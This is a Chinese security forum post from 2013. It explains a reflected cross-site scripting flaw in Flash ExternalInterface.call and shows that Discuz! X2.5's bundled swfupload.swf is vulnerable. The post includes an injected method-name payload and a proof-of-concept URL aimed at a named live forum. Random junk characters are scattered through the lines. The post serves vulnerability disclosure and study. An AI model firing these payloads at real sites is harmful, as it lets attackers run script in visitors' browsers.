找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2027|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
* q$ W; G/ \8 ^4 ?* W* z; r/ f# a- X" V
flash.external.ExternalInterface.call($methodName, $parameter)1 f7 F0 Q" j. q2 X
在浏览器中执行的是
0 P4 Q& [# ^3 z( n7 F' L3 t# F/ N: `7 P8 @( `1 m
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
: }. B3 \& I! \# k对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如1 U5 ?) h7 b9 U7 ^
% r$ o) D. H1 ^, {- D5 n! E: u/ X
flash.external.ExternalInterface.call("object."+$methodName, $parameter)% S. V. J& M0 O1 C) d- p
$methodName = a())}catch(e){alert(/xss/)}//; K+ }9 C6 b+ h9 P
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
# q8 V# O8 F" Y
: r4 ]/ G" n% H9 M: G& P; p9 dtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
: _, N5 s: W% }* F+ ~0 Y4 B3 R" j- o- R' X
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
0 E- X( j7 |0 \/ b2 R杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
, s. U3 e4 U# S* E& U& Z) p
; @# {" ~; S. H  c% C' J1 u$ ~( B; X

, w! v1 o5 f( s- D6 {漏洞文件:upload\static\image\common\swfupload.swf
6 P- h6 s( B4 q% u6 W
8 }3 h( l, d% B. r- p9 [原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf1 U7 T* K3 v/ z$ d8 ]

( p& V8 I# p: }& j3 K
: ~7 r3 S, i' T漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//$ I: a1 ^: `2 i/ r, K

7 e0 A. `8 |4 ^$ }* N* i* `$ F
" W+ ]" Q7 O  B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表